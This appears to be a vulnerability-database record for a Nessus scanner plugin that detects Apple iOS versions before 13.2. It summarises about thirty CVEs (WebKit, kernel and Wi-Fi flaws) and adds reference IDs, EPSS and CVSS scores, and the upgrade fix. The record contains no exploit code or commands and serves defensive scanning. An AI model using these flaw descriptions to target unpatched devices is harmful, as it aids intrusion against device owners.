Apple iOS < 13.2 Multiple Vulnerabilities

2019-11-01T00:00:00

Description

The version of Apple iOS running on the mobile device is prior to 13.2. It is, therefore, affected by multiple vulnerabilities. - A memory leak vulnerablity exists in the iOS Accounts, a remote attacker can exploit this using specially crafted input. (CVE-2019-8787) - An authentication vulnerability exists in the iOS App store, a local attacker may be able to login to the account of a previously logged in user without valid credentials. (CVE-2019-8803) - Associated Domains vulnerable to data exfiltration. The attacker can exploit this issue by passing improper URL. An issue existed in the parsing of URLs. (CVE-2019-8788) - A memory corruption issue exist in iOS Audio and AVEVideoEncoder. An application may be able to execute arbitrary code with system privileges. (CVE-2019-8785, CVE-2019-8797, CVE-2019-8795) - A validation issue existed in the handling of symlinks in iOS Books. Parsing a maliciously crafted iBooks file may lead to disclosure of user information. (CVE-2019-8789) - An inconsistent user interface issue exist in the iOS Contacts, processing a maliciously contact may lead to UI spoofing. (CVE-2017-7152) - A memory corruption issue exists in the iOS File System Events, Graphics Driver, Kernel. An application may be able to execute arbitrary code with system privileges. (CVE-2019-8798, CVE-2019-8784, CVE-2019-8786) - An input validation exists in the iOS Kernel. An application may be able to read restricted memory. (CVE-2019-8794) - An inconsistency in Wi-Fi network configuration in iOS Setup Assistant is vulnerable. An attacker in physical proximity may be able to force a user onto a malicious Wi-Fi network during device setup. (CVE-2019-8804) - A iOS Screen Recording is vulnerable, a local user may be able to record the screen without a visible screen recording indicator. (CVE-2019-8793) - A cross-site scripting (XSS) vulnerability exists in iOS WebKit due to improper validation of user-supplied input before returning it to users. Processing maliciously crafted web content may lead to universal cross site scripting. (CVE-2019-8813) - An arbitrary code execution vulnerability exists in iOS WebKit and WebKit Processing Model. Multiple memory corruption vulnerabilities while processing maliciously crafted web content may lead to arbitrary code execution. (CVE-2019-8783, CVE-2019-8808, CVE-2019-8811, CVE-2019-8812, CVE-2019-8814, CVE-2019-8816, CVE-2019-8819, CVE-2019-8820, CVE-2019-8821, CVE-2019-8822, CVE-2019-8823, CVE-2019-8815, CVE-2019-8782) - A logic issue in the handling of state transitions allows an attacker within Wi-Fi range to compromise some confidentiality of network traffic. (CVE-2019-15126) - The HTTP referrer header leaks browsing history to maliciously crafted websites. (CVE-2019-8827) - A memory corruption vulnerability exists that allows applications to execute arbitrary code with kernel privileges. (CVE-2019-8829)

{"id": "APPLE_IOS_132_CHECK.NBIN", "vendorId": null, "type": "nessus", "bulletinFamily": "scanner", "title": "Apple iOS < 13.2 Multiple Vulnerabilities", "description": "The version of Apple iOS running on the mobile device is prior to 13.2. It is, therefore, affected by multiple vulnerabilities.\n - A memory leak vulnerablity exists in the iOS Accounts, a remote attacker can exploit this using specially crafted input. (CVE-2019-8787)\n\n - An authentication vulnerability exists in the iOS App store, a local attacker may be able to login to the account of a previously logged in user without valid credentials. (CVE-2019-8803)\n\n - Associated Domains vulnerable to data exfiltration. The attacker can exploit this issue by passing improper URL. An issue existed in the parsing of URLs. (CVE-2019-8788)\n\n - A memory corruption issue exist in iOS Audio and AVEVideoEncoder. An application may be able to execute arbitrary code with system privileges. (CVE-2019-8785, CVE-2019-8797, CVE-2019-8795)\n\n - A validation issue existed in the handling of symlinks in iOS Books. Parsing a maliciously crafted iBooks file may lead to disclosure of user information. (CVE-2019-8789)\n\n - An inconsistent user interface issue exist in the iOS Contacts, processing a maliciously contact may lead to UI spoofing. (CVE-2017-7152)\n\n - A memory corruption issue exists in the iOS File System Events, Graphics Driver, Kernel. An application may be able to execute arbitrary code with system privileges. (CVE-2019-8798, CVE-2019-8784, CVE-2019-8786)\n\n - An input validation exists in the iOS Kernel. An application may be able to read restricted memory.\n (CVE-2019-8794)\n\n - An inconsistency in Wi-Fi network configuration in iOS Setup Assistant is vulnerable. An attacker in physical proximity may be able to force a user onto a malicious Wi-Fi network during device setup. (CVE-2019-8804)\n\n - A iOS Screen Recording is vulnerable, a local user may be able to record the screen without a visible screen recording indicator. (CVE-2019-8793)\n\n - A cross-site scripting (XSS) vulnerability exists in iOS WebKit due to improper validation of user-supplied input before returning it to users. Processing maliciously crafted web content may lead to universal cross site scripting. (CVE-2019-8813)\n\n - An arbitrary code execution vulnerability exists in iOS WebKit and WebKit Processing Model. Multiple memory corruption vulnerabilities while processing maliciously crafted web content may lead to arbitrary code execution.\n (CVE-2019-8783, CVE-2019-8808, CVE-2019-8811, CVE-2019-8812, CVE-2019-8814, CVE-2019-8816, CVE-2019-8819, CVE-2019-8820, CVE-2019-8821, CVE-2019-8822, CVE-2019-8823, CVE-2019-8815, CVE-2019-8782)\n\n - A logic issue in the handling of state transitions allows an attacker within Wi-Fi range to compromise some confidentiality of network traffic. (CVE-2019-15126)\n\n - The HTTP referrer header leaks browsing history to maliciously crafted websites. (CVE-2019-8827)\n\n - A memory corruption vulnerability exists that allows applications to execute arbitrary code with kernel privileges. (CVE-2019-8829)", "published": "2019-11-01T00:00:00", "modified": "2023-09-25T00:00:00", "epss": [], "cvss": {"score": 0.0, "vector": "NONE"}, "cvss2": {}, "cvss3": {}, "href": "https://www.tenable.com/plugins/nessus/130461", "reporter": "This script is Copyright (C) 2019-2023 and is owned by Tenable, Inc. or an Affiliate thereof.", "references": ["http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-8823", "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-8808", "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-8819", "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-8789", "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-8787", "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-8814", "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-8812", "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-8815", "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-8827", "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-8784", "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-8798", "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-8816", "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-8797", "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-8803", "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-8813", "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-8795", "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-8811", "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-8794", "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-8822", "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-8785", "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-8820", "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-7152", "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-15126", "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-8786", "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-8793", "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-8804", "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-8821", "https://support.apple.com/en-us/HT210721", "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-8783", "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-8782", "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-8788", "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-8829"], "cvelist": ["CVE-2017-7152", "CVE-2019-15126", "CVE-2019-8782", "CVE-2019-8783", "CVE-2019-8784", "CVE-2019-8785", "CVE-2019-8786", "CVE-2019-8787", "CVE-2019-8788", "CVE-2019-8789", "CVE-2019-8793", "CVE-2019-8794", "CVE-2019-8795", "CVE-2019-8797", "CVE-2019-8798", "CVE-2019-8803", "CVE-2019-8804", "CVE-2019-8808", "CVE-2019-8811", "CVE-2019-8812", "CVE-2019-8813", "CVE-2019-8814", "CVE-2019-8815", "CVE-2019-8816", "CVE-2019-8819", "CVE-2019-8820", "CVE-2019-8821", "CVE-2019-8822", "CVE-2019-8823", "CVE-2019-8827", "CVE-2019-8829"], "immutableFields": [], "lastseen": "2023-09-26T16:04:15", "viewCount": 63, "enchantments": {"dependencies": {"references": [{"type": "almalinux", "idList": ["ALSA-2020:4451"]}, {"type": "alpinelinux", "idList": ["ALPINE:CVE-2019-8782", "ALPINE:CVE-2019-8783", "ALPINE:CVE-2019-8811", "ALPINE:CVE-2019-8812", "ALPINE:CVE-2019-8813", "ALPINE:CVE-2019-8814", "ALPINE:CVE-2019-8815", "ALPINE:CVE-2019-8816", "ALPINE:CVE-2019-8819", "ALPINE:CVE-2019-8820", "ALPINE:CVE-2019-8821", "ALPINE:CVE-2019-8822", "ALPINE:CVE-2019-8823"]}, {"type": "amazon", "idList": ["ALAS2-2020-1563"]}, {"type": "apple", "idList": ["APPLE:23F4B15F98B9E907DBA0469D5F0BC654", "APPLE:24F0CE6C0A090A12BFC0624F060D429D", "APPLE:2BE63E6C0ABEE62B27017A6E38BA31E8", "APPLE:356155132BDE067E2049C0C5B87F5F09", "APPLE:3CD8680715FC8DF4A758CC6012471868", "APPLE:7033CCA4E259F96F17D1D049B6D11BE0", "APPLE:A1A8D52172AE1DABB07F3860D96264D1", "APPLE:B079F933FC53AA9BD392638EBBEA2490", "APPLE:CC90AF91854DC3DAAF69A4D6FA63346F", "APPLE:F7CA1A5840C15D3C9444B9C7F4FBA655", "APPLE:FE34E67588C6E371B47F8C80ED459F90", "APPLE:HT208334", "APPLE:HT210721", "APPLE:HT210722", "APPLE:HT210723", "APPLE:HT210724", "APPLE:HT210725", "APPLE:HT210726", "APPLE:HT210727", "APPLE:HT210728", "APPLE:HT210788", "APPLE:HT210947"]}, {"type": "attackerkb", "idList": ["AKB:E144DDF5-BA54-49FB-B30B-34FF2B8B7F5E"]}, {"type": "avleonov", "idList": ["AVLEONOV:FC72EE64ADC69F3B86C5446653BD9189"]}, {"type": "centos", "idList": ["CESA-2020:4035"]}, {"type": "cisco", "idList": ["CISCO-SA-20200226-WI-FI-INFO-DISCLOSURE"]}, {"type": "cve", "idList": ["CVE-2017-7152", "CVE-2019-15126", "CVE-2019-8782", "CVE-2019-8783", "CVE-2019-8784", "CVE-2019-8785", "CVE-2019-8786", "CVE-2019-8787", "CVE-2019-8788", "CVE-2019-8789", "CVE-2019-8793", "CVE-2019-8794", "CVE-2019-8795", "CVE-2019-8797", "CVE-2019-8798", "CVE-2019-8803", "CVE-2019-8804", "CVE-2019-8808", "CVE-2019-8811", "CVE-2019-8812", "CVE-2019-8813", "CVE-2019-8814", "CVE-2019-8815", "CVE-2019-8816", "CVE-2019-8819", "CVE-2019-8820", "CVE-2019-8821", "CVE-2019-8822", "CVE-2019-8823", "CVE-2019-8827", "CVE-2019-8829"]}, {"type": "debian", "idList": ["DEBIAN:DSA-4563-1:121E7"]}, {"type": "debiancve", "idList": ["DEBIANCVE:CVE-2019-8782", "DEBIANCVE:CVE-2019-8783", "DEBIANCVE:CVE-2019-8808", "DEBIANCVE:CVE-2019-8811", "DEBIANCVE:CVE-2019-8812", "DEBIANCVE:CVE-2019-8813", "DEBIANCVE:CVE-2019-8814", "DEBIANCVE:CVE-2019-8815", "DEBIANCVE:CVE-2019-8816", "DEBIANCVE:CVE-2019-8819", "DEBIANCVE:CVE-2019-8820", "DEBIANCVE:CVE-2019-8821", "DEBIANCVE:CVE-2019-8822", "DEBIANCVE:CVE-2019-8823"]}, {"type": "exploitdb", "idList": ["EDB-ID:48233"]}, {"type": "exploitpack", "idList": ["EXPLOITPACK:3AFE029E1961EF089172E02D14F1A813"]}, {"type": "fedora", "idList": ["FEDORA:B29916092532", "FEDORA:C00126087A1E"]}, {"type": "fortinet", "idList": ["FG-IR-20-035"]}, {"type": "freebsd", "idList": ["3E748551-C732-45F6-BD88-928DA16F23A8"]}, {"type": "gentoo", "idList": ["GLSA-202003-22"]}, {"type": "githubexploit", "idList": ["1E1A1632-D11F-5A40-9EED-5970D1F1123E", "248CDE77-2B70-56A2-B81C-A0A650A1F22E", "6D5B9C2A-8732-5278-AA40-46601EB81303", "D6625196-908D-5313-8C7C-3E04AFF78069"]}, {"type": "googleprojectzero", "idList": ["GOOGLEPROJECTZERO:37170621F78D33B9DDE68A73E0A16294"]}, {"type": "hp", "idList": ["HP:C06909254"]}, {"type": "huawei", "idList": ["HUAWEI-SA-20200527-01-WIFI"]}, {"type": "ics", "idList": ["ICSA-20-224-05"]}, {"type": "kaspersky", "idList": ["KLA11602", "KLA11603", "KLA11650", "KLA20228"]}, {"type": "kitploit", "idList": ["KITPLOIT:395217029864187486", "KITPLOIT:8766743662298222785"]}, {"type": "mageia", "idList": ["MGASA-2019-0324", "MGASA-2021-0103", "MGASA-2021-0104"]}, {"type": "mscve", "idList": ["MS:CVE-2019-15126"]}, {"type": "nessus", "idList": ["AL2_ALAS-2020-1563.NASL", "ALMA_LINUX_ALSA-2020-4451.NASL", "CENTOS8_RHSA-2020-4451.NASL", "CENTOS_RHSA-2020-4035.NASL", "DEBIAN_DSA-4563.NASL", "FEDORA_2019-4213E37211.NASL", "FEDORA_2019-FA0C4B0674.NASL", "FREEBSD_PKG_3E748551C73245F6BD88928DA16F23A8.NASL", "GENTOO_GLSA-202003-22.NASL", "ICLOUD_10_8.NASL", "ICLOUD_10_9_2.NASL", "ICLOUD_7_15.NASL", "ITUNES_12_10_2.NASL", "MACOS_HT210722.NASL", "NEWSTART_CGSL_NS-SA-2021-0041_WEBKITGTK4.NASL", "NEWSTART_CGSL_NS-SA-2021-0059_WEBKIT2GTK3.NASL", "NEWSTART_CGSL_NS-SA-2021-0166_WEBKITGTK4.NASL", "OPENSUSE-2019-2587.NASL", "OPENSUSE-2019-2591.NASL", "OPENSUSE-2021-1648.NASL", "OPENSUSE-2022-0182-1.NASL", "OPENSUSE-2022-0366-1.NASL", "ORACLELINUX_ELSA-2020-4035.NASL", "ORACLELINUX_ELSA-2020-4451.NASL", "REDHAT-RHSA-2020-4035.NASL", "REDHAT-RHSA-2020-4451.NASL", "SL_20201001_WEBKITGTK4_ON_SL7_X.NASL", "SUSE_SU-2019-3044-1.NASL", "SUSE_SU-2020-1135-1.NASL", "SUSE_SU-2021-4003-1.NASL", "SUSE_SU-2021-4200-1.NASL", "SUSE_SU-2021-4201-1.NASL", "SUSE_SU-2022-0068-1.NASL", "SUSE_SU-2022-0080-1.NASL", "SUSE_SU-2022-0090-1.NASL", "SUSE_SU-2022-0142-1.NASL", "SUSE_SU-2022-0182-1.NASL", "SUSE_SU-2022-0182-2.NASL", "SUSE_SU-2022-0183-1.NASL", "SUSE_SU-2022-0366-1.NASL", "SUSE_SU-2022-0367-1.NASL", "SUSE_SU-2022-0371-1.NASL", "UBUNTU_USN-4181-1.NASL"]}, {"type": "openvas", "idList": ["OPENVAS:1361412562310108808", "OPENVAS:1361412562310704563", "OPENVAS:1361412562310815818", "OPENVAS:1361412562310815819", "OPENVAS:1361412562310815821", "OPENVAS:1361412562310815822", "OPENVAS:1361412562310815826", "OPENVAS:1361412562310815827", "OPENVAS:1361412562310815828", "OPENVAS:1361412562310844232", "OPENVAS:1361412562310852791", "OPENVAS:1361412562310852964", "OPENVAS:1361412562310877012", "OPENVAS:1361412562310877211"]}, {"type": "oraclelinux", "idList": ["ELSA-2020-4035", "ELSA-2020-4451"]}, {"type": "osv", "idList": ["OSV:DSA-4563-1"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:155112", "PACKETSTORM:156809"]}, {"type": "rapid7blog", "idList": ["RAPID7BLOG:8B769F2B5747961ADC5166BA78E9B8B9"]}, {"type": "redhat", "idList": ["RHSA-2020:4035", "RHSA-2020:4451", "RHSA-2020:5605", "RHSA-2020:5633", "RHSA-2020:5635", "RHSA-2021:0050", "RHSA-2021:0190", "RHSA-2021:0436", "RHSA-2021:0799", "RHSA-2022:0056", "RHSA-2022:5924"]}, {"type": "redhatcve", "idList": ["RH:CVE-2019-15126", "RH:CVE-2019-8782", "RH:CVE-2019-8783", "RH:CVE-2019-8808", "RH:CVE-2019-8811", "RH:CVE-2019-8812", "RH:CVE-2019-8813", "RH:CVE-2019-8814", "RH:CVE-2019-8815", "RH:CVE-2019-8816", "RH:CVE-2019-8819", "RH:CVE-2019-8820", "RH:CVE-2019-8821", "RH:CVE-2019-8822", "RH:CVE-2019-8823"]}, {"type": "rocky", "idList": ["RLSA-2020:4451"]}, {"type": "schneier", "idList": ["SCHNEIER:B6B87E61CED96ACFAF94DA5C82D0F8A4"]}, {"type": "suse", "idList": ["OPENSUSE-SU-2019:2587-1", "OPENSUSE-SU-2019:2591-1", "OPENSUSE-SU-2021:1648-1", "OPENSUSE-SU-2022:0182-1", "OPENSUSE-SU-2022:0182-2", "OPENSUSE-SU-2022:0366-1"]}, {"type": "symantec", "idList": ["SMNTC-103136", "SMNTC-110662"]}, {"type": "thn", "idList": ["THN:C75DD7C8E99DFE4FF4F7D8CC001C67E5"]}, {"type": "threatpost", "idList": ["THREATPOST:C3A491EB926B9141B536A4BE5AB91ECF"]}, {"type": "trendmicroblog", "idList": ["TRENDMICROBLOG:6DF4E5BA7192EC44AC41AB715066FB60"]}, {"type": "ubuntu", "idList": ["USN-4181-1"]}, {"type": "ubuntucve", "idList": ["UB:CVE-2019-8782", "UB:CVE-2019-8783", "UB:CVE-2019-8808", "UB:CVE-2019-8811", "UB:CVE-2019-8812", "UB:CVE-2019-8813", "UB:CVE-2019-8814", "UB:CVE-2019-8815", "UB:CVE-2019-8816", "UB:CVE-2019-8819", "UB:CVE-2019-8820", "UB:CVE-2019-8821", "UB:CVE-2019-8822", "UB:CVE-2019-8823"]}, {"type": "veracode", "idList": ["VERACODE:27418", "VERACODE:27419", "VERACODE:27420", "VERACODE:27421", "VERACODE:27422", "VERACODE:27423", "VERACODE:27424", "VERACODE:27425", "VERACODE:27426", "VERACODE:27427", "VERACODE:27428", "VERACODE:27429", "VERACODE:27430", "VERACODE:27431"]}, {"type": "zdi", "idList": ["ZDI-19-1009"]}, {"type": "zdt", "idList": ["1337DAY-ID-33452", "1337DAY-ID-34118"]}]}, "score": {"value": 0.8, "vector": "NONE"}, "backreferences": {"references": [{"type": "almalinux", "idList": ["ALSA-2020:4451"]}, {"type": "amazon", "idList": ["ALAS2-2020-1563"]}, {"type": "apple", "idList": ["APPLE:23F4B15F98B9E907DBA0469D5F0BC654", "APPLE:24F0CE6C0A090A12BFC0624F060D429D", "APPLE:2BE63E6C0ABEE62B27017A6E38BA31E8", "APPLE:356155132BDE067E2049C0C5B87F5F09", "APPLE:3CD8680715FC8DF4A758CC6012471868", "APPLE:7033CCA4E259F96F17D1D049B6D11BE0", "APPLE:A1A8D52172AE1DABB07F3860D96264D1", "APPLE:B079F933FC53AA9BD392638EBBEA2490", "APPLE:CC90AF91854DC3DAAF69A4D6FA63346F", "APPLE:F7CA1A5840C15D3C9444B9C7F4FBA655", "APPLE:HT208334", "APPLE:HT210721", "APPLE:HT210722", "APPLE:HT210723", "APPLE:HT210724", "APPLE:HT210725", "APPLE:HT210726", "APPLE:HT210727", "APPLE:HT210728", "APPLE:HT210947"]}, {"type": "attackerkb", "idList": ["AKB:E144DDF5-BA54-49FB-B30B-34FF2B8B7F5E"]}, {"type": "centos", "idList": ["CESA-2020:4035"]}, {"type": "cisco", "idList": ["CISCO-SA-20200226-WI-FI-INFO-DISCLOSURE"]}, {"type": "cve", "idList": ["CVE-2017-7152", "CVE-2019-8782", "CVE-2019-8783", "CVE-2019-8784", "CVE-2019-8785", "CVE-2019-8786", "CVE-2019-8787", "CVE-2019-8788", "CVE-2019-8789", "CVE-2019-8793", "CVE-2019-8794", "CVE-2019-8795", "CVE-2019-8797", "CVE-2019-8798", "CVE-2019-8803", "CVE-2019-8804", "CVE-2019-8808", "CVE-2019-8811", "CVE-2019-8812", "CVE-2019-8813", "CVE-2019-8814", "CVE-2019-8815", "CVE-2019-8816", "CVE-2019-8819", "CVE-2019-8820", "CVE-2019-8821", "CVE-2019-8822", "CVE-2019-8823"]}, {"type": "debian", "idList": ["DEBIAN:DSA-4563-1:121E7"]}, {"type": "debiancve", "idList": ["DEBIANCVE:CVE-2019-8782", "DEBIANCVE:CVE-2019-8783", "DEBIANCVE:CVE-2019-8808", "DEBIANCVE:CVE-2019-8811", "DEBIANCVE:CVE-2019-8812", "DEBIANCVE:CVE-2019-8813", "DEBIANCVE:CVE-2019-8814", "DEBIANCVE:CVE-2019-8815", "DEBIANCVE:CVE-2019-8816", "DEBIANCVE:CVE-2019-8819", "DEBIANCVE:CVE-2019-8820", "DEBIANCVE:CVE-2019-8821", "DEBIANCVE:CVE-2019-8822", "DEBIANCVE:CVE-2019-8823"]}, {"type": "exploitdb", "idList": ["EDB-ID:48233"]}, {"type": "exploitpack", "idList": ["EXPLOITPACK:3AFE029E1961EF089172E02D14F1A813"]}, {"type": "fedora", "idList": ["FEDORA:B29916092532", "FEDORA:C00126087A1E"]}, {"type": "fortinet", "idList": ["FG-IR-20-035"]}, {"type": "freebsd", "idList": ["3E748551-C732-45F6-BD88-928DA16F23A8"]}, {"type": "gentoo", "idList": ["GLSA-202003-22"]}, {"type": "githubexploit", "idList": ["1E1A1632-D11F-5A40-9EED-5970D1F1123E", "248CDE77-2B70-56A2-B81C-A0A650A1F22E", "6D5B9C2A-8732-5278-AA40-46601EB81303", "D6625196-908D-5313-8C7C-3E04AFF78069"]}, {"type": "googleprojectzero", "idList": ["GOOGLEPROJECTZERO:37170621F78D33B9DDE68A73E0A16294"]}, {"type": "hp", "idList": ["HP:C06909254"]}, {"type": "huawei", "idList": ["HUAWEI-SA-20200527-01-WIFI"]}, {"type": "kaspersky", "idList": ["KLA11602", "KLA11603", "KLA11650"]}, {"type": "kitploit", "idList": ["KITPLOIT:1370442080181927541", "KITPLOIT:3348929726444940519", "KITPLOIT:3440136498125856121", "KITPLOIT:3872284907466902606", "KITPLOIT:4378915690459298496", "KITPLOIT:5374829754140275290", "KITPLOIT:6298886136201302065", "KITPLOIT:6714457792986818120", "KITPLOIT:7904361679234881900", "KITPLOIT:8455936192163161094"]}, {"type": "metasploit", "idList": ["MSF:ILITIES/CENTOS_LINUX-CVE-2019-8783/", "MSF:ILITIES/GENTOO-LINUX-CVE-2019-8815/"]}, {"type": "nessus", "idList": ["AL2_ALAS-2020-1563.NASL", "DEBIAN_DSA-4563.NASL", "FEDORA_2019-4213E37211.NASL", "FEDORA_2019-FA0C4B0674.NASL", "FREEBSD_PKG_3E748551C73245F6BD88928DA16F23A8.NASL", "GENTOO_GLSA-202003-22.NASL", "ITUNES_12_10_2.NASL", "MACOS_HT210722.NASL", "OPENSUSE-2019-2587.NASL", "OPENSUSE-2019-2591.NASL", "ORACLELINUX_ELSA-2020-4035.NASL", "ORACLELINUX_ELSA-2020-4451.NASL", "REDHAT-RHSA-2020-4451.NASL", "SUSE_SU-2019-3044-1.NASL", "SUSE_SU-2020-1135-1.NASL", "UBUNTU_USN-4181-1.NASL"]}, {"type": "openvas", "idList": ["OPENVAS:1361412562310704563", "OPENVAS:1361412562310815818", "OPENVAS:1361412562310815819", "OPENVAS:1361412562310815821", "OPENVAS:1361412562310815822", "OPENVAS:1361412562310815826", "OPENVAS:1361412562310815827", "OPENVAS:1361412562310815828", "OPENVAS:1361412562310844232", "OPENVAS:1361412562310852791", "OPENVAS:1361412562310877012"]}, {"type": "oraclelinux", "idList": ["ELSA-2020-4035", "ELSA-2020-4451"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:155112"]}, {"type": "redhat", "idList": ["RHSA-2020:4451"]}, {"type": "redhatcve", "idList": ["RH:CVE-2019-15126", "RH:CVE-2019-8782", "RH:CVE-2019-8783", "RH:CVE-2019-8808", "RH:CVE-2019-8811", "RH:CVE-2019-8812", "RH:CVE-2019-8813", "RH:CVE-2019-8814", "RH:CVE-2019-8815", "RH:CVE-2019-8816", "RH:CVE-2019-8819", "RH:CVE-2019-8820", "RH:CVE-2019-8821", "RH:CVE-2019-8822", "RH:CVE-2019-8823"]}, {"type": "schneier", "idList": ["SCHNEIER:B6B87E61CED96ACFAF94DA5C82D0F8A4"]}, {"type": "suse", "idList": ["OPENSUSE-SU-2019:2587-1", "OPENSUSE-SU-2019:2591-1"]}, {"type": "symantec", "idList": ["SMNTC-103136"]}, {"type": "thn", "idList": ["THN:C75DD7C8E99DFE4FF4F7D8CC001C67E5"]}, {"type": "threatpost", "idList": ["THREATPOST:C3A491EB926B9141B536A4BE5AB91ECF"]}, {"type": "trendmicroblog", "idList": ["TRENDMICROBLOG:6DF4E5BA7192EC44AC41AB715066FB60"]}, {"type": "ubuntu", "idList": ["USN-4181-1"]}, {"type": "ubuntucve", "idList": ["UB:CVE-2019-8782", "UB:CVE-2019-8808", "UB:CVE-2019-8811", "UB:CVE-2019-8812", "UB:CVE-2019-8813", "UB:CVE-2019-8814", "UB:CVE-2019-8815", "UB:CVE-2019-8816", "UB:CVE-2019-8819", "UB:CVE-2019-8821", "UB:CVE-2019-8822", "UB:CVE-2019-8823"]}, {"type": "zdi", "idList": ["ZDI-19-1009"]}, {"type": "zdt", "idList": ["1337DAY-ID-33452"]}]}, "exploitation": null, "epss": [{"cve": "CVE-2017-7152", "epss": 0.00435, "percentile": 0.70889, "modified": "2023-05-07"}, {"cve": "CVE-2019-15126", "epss": 0.00501, "percentile": 0.7286, "modified": "2023-05-07"}, {"cve": "CVE-2019-8782", "epss": 0.00533, "percentile": 0.73703, "modified": "2023-05-07"}, {"cve": "CVE-2019-8783", "epss": 0.01347, "percentile": 0.84117, "modified": "2023-05-07"}, {"cve": "CVE-2019-8784", "epss": 0.00114, "percentile": 0.43646, "modified": "2023-05-07"}, {"cve": "CVE-2019-8785", "epss": 0.00116, "percentile": 0.43975, "modified": "2023-05-07"}, {"cve": "CVE-2019-8786", "epss": 0.00116, "percentile": 0.43975, "modified": "2023-05-07"}, {"cve": "CVE-2019-8787", "epss": 0.00264, "percentile": 0.62513, "modified": "2023-05-07"}, {"cve": "CVE-2019-8788", "epss": 0.00178, "percentile": 0.5344, "modified": "2023-05-07"}, {"cve": "CVE-2019-8789", "epss": 0.00074, "percentile": 0.3014, "modified": "2023-05-07"}, {"cve": "CVE-2019-8793", "epss": 0.00042, "percentile": 0.05667, "modified": "2023-05-07"}, {"cve": "CVE-2019-8794", "epss": 0.0007, "percentile": 0.28654, "modified": "2023-05-07"}, {"cve": "CVE-2019-8795", "epss": 0.00085, "percentile": 0.34648, "modified": "2023-05-07"}, {"cve": "CVE-2019-8797", "epss": 0.00116, "percentile": 0.43975, "modified": "2023-05-07"}, {"cve": "CVE-2019-8798", "epss": 0.00047, "percentile": 0.14175, "modified": "2023-05-07"}, {"cve": "CVE-2019-8803", "epss": 0.00073, "percentile": 0.29921, "modified": "2023-05-07"}, {"cve": "CVE-2019-8804", "epss": 0.00052, "percentile": 0.18014, "modified": "2023-05-07"}, {"cve": "CVE-2019-8808", "epss": 0.00533, "percentile": 0.73703, "modified": "2023-05-07"}, {"cve": "CVE-2019-8811", "epss": 0.00735, "percentile": 0.78062, "modified": "2023-05-07"}, {"cve": "CVE-2019-8812", "epss": 0.00533, "percentile": 0.73703, "modified": "2023-05-07"}, {"cve": "CVE-2019-8813", "epss": 0.00163, "percentile": 0.51528, "modified": "2023-05-07"}, {"cve": "CVE-2019-8814", "epss": 0.00539, "percentile": 0.73859, "modified": "2023-05-07"}, {"cve": "CVE-2019-8815", "epss": 0.00539, "percentile": 0.73859, "modified": "2023-05-07"}, {"cve": "CVE-2019-8816", "epss": 0.0059, "percentile": 0.75071, "modified": "2023-05-07"}, {"cve": "CVE-2019-8819", "epss": 0.01347, "percentile": 0.84117, "modified": "2023-05-07"}, {"cve": "CVE-2019-8820", "epss": 0.76572, "percentile": 0.97682, "modified": "2023-05-07"}, {"cve": "CVE-2019-8821", "epss": 0.01347, "percentile": 0.84117, "modified": "2023-05-07"}, {"cve": "CVE-2019-8822", "epss": 0.01347, "percentile": 0.84117, "modified": "2023-05-07"}, {"cve": "CVE-2019-8823", "epss": 0.01347, "percentile": 0.84117, "modified": "2023-05-07"}, {"cve": "CVE-2019-8827", "epss": 0.00127, "percentile": 0.45903, "modified": "2023-05-07"}, {"cve": "CVE-2019-8829", "epss": 0.00082, "percentile": 0.33615, "modified": "2023-05-07"}], "vulnersScore": 0.8}, "_state": {"dependencies": 1695744837, "score": 1698842854, "epss": 0}, "_internal": {"score_hash": "7c884d91fb9f30848f70cababbd0dbbb"}, "pluginID": "130461", "sourceData": "Binary data apple_ios_132_check.nbin", "naslFamily": "Mobile Devices", "cpe": ["cpe:/o:apple:iphone_os"], "solution": "Upgrade to Apple iOS version 13.2 or later.", "nessusSeverity": "High", "cvssScoreSource": "CVE-2019-8829", "vendor_cvss2": {"score": 9.3, "vector": "CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "vendor_cvss3": {"score": 8.8, "vector": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"}, "vpr": {"risk factor": "Medium", "score": "6.7"}, "exploitAvailable": true, "exploitEase": "Exploits are available", "patchPublicationDate": "2019-10-28T00:00:00", "vulnerabilityPublicationDate": "2019-10-28T00:00:00", "exploitableWith": []}

